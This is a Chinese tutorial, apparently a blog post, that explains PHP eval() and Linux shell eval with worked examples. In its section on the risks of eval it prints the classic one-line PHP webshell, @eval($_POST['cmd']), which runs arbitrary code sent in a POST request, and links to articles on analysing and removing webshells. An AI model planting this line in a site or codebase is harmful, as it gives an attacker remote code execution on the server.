eval(str) 函数把str字符串按照 PHP 代码来计算。

该str字符串必须是合法的 PHP 代码,且必须以分号";"结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

 

语法

eval(phpcode)

参数 phpcode    必需。规定要计算的 PHP 代码。

 

提示和注释

返回语句会立即终止对字符串的计算。

该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。

 

示例

<?php
$str1 = "hello";
$str2 = "mimvp.com";

$str = 'I love $str1 $str2';		// 单引号,纯字符串
echo $str. "<br />";				// I love $str1 $str2

eval("\$str = \"$str\";");		// eval,执行PHP字符串,赋值字符串
echo $str. "<br />";				// I love hello mimvp.com

$str = '2*(3+12)';
$result = eval("return $str;");	// eval,执行PHP字符串,返回计算结果
echo $result. "<br />";			// 30

$a = 3;
$b = 12;
$str = '2*($a+$b)';
$result = eval ( "return $str;" );
echo $result. "<br />";			// 30
?> 

 

另一面

eval() 函数主要执行PHP语句,因此也可以执行破坏性的行为

例如:在项目里防止后门木马,切换系统的运行环境、数据库、文件、密码等

 

世界上最小的后门木马程序:

<?php @eval($_POST["cmd"]);?>

代码分析以及木马防范,请参见米扑博客:

PHP 后门程序WebShell 分析和解决

 

 

Shell eval 用法

Linux Shell 脚本里,也有 eval 用法

eval  [parameters]

功能说明:告知shell取出eval的参数,重新运算求出参数的内容

语  法:eval [参数]

示  例:pipe="|" && eval "ls $pipe wc -l"   // 打印当前目录下的文件和文件夹的个数

补充说明:eval可读取一连串的参数,然后再依参数本身的特性来执行。

参  数:参数不限数目,彼此之间用分号分开。

 

1、执行命令行之前扫描它两次,再次运算求出参数的内容

# a="ls | more"
# $a                                           

ls 将 | 和 more 看成了参数,而不是将文件按页显示,报错提示如下:

ls: cannot access |more: No such file or directory
# eval $a                                   

 

eval 含义是取出其后面的字符串参数,并再次执行它们

# a="123"
# echo '${'"a"'}'                         
${a}
# eval echo '${'"a"'}'                #再次执行${a}命令
123 

 

2、eval 取得最后一个参数($$# 命令含义为取最后一个数值)

# echo 'eval echo \$$#' > last
# cat last
eval echo \$$#
# ./last 1 2 3 4
4

 

3、eval command-line(命令行)

command-line是在终端上键入的一条普通命令行。

当前面放上eval时,其结果是shell在执行命令行之前扫描它两次,取出命令行再执行。

示例:

pipe="|"
eval "ls $pipe wc -l"

说明:

首先,shell第1次扫描命令行时,替换出字符串的参数,即 pipe的值换成|,字符串为 "ls | wc -l"

接着,eval再次扫描命令行,这时shell把|作为管道符号了,直接执行命令:"ls | wc -l"

如果变量中包含任何需要shell直接在命令行中看到的字符(不是替换的结果),就可以使用eval。

命令行结束符(;| &),I/o重定向符(< >)和引号"" 都属于对shell具有特殊意义的符号,必须直接出现在命令行中。

 

小结

eval是对Bash Shell命令行处理规则的灵活应用,进而构造"智能"命令实现复杂的功能。

上面提及的命令是eval其中一个很普通的应用,它重复了1次命令行参数传递过程,纯粹地执行命令的命令。

其实,它是bash的难点,是高级bash程序员的必修之技。

 

 

参考推荐

PHP 后门程序WebShell分析和解决

WebShell 木马被黑网站的解决方案

Shell 提取文件路径中的文件名、后缀、目录

Shell 参数含义 $0、$1、$2、${n}、$#、$@、$*、$?、 $_、$!、$$

shell 中的 eval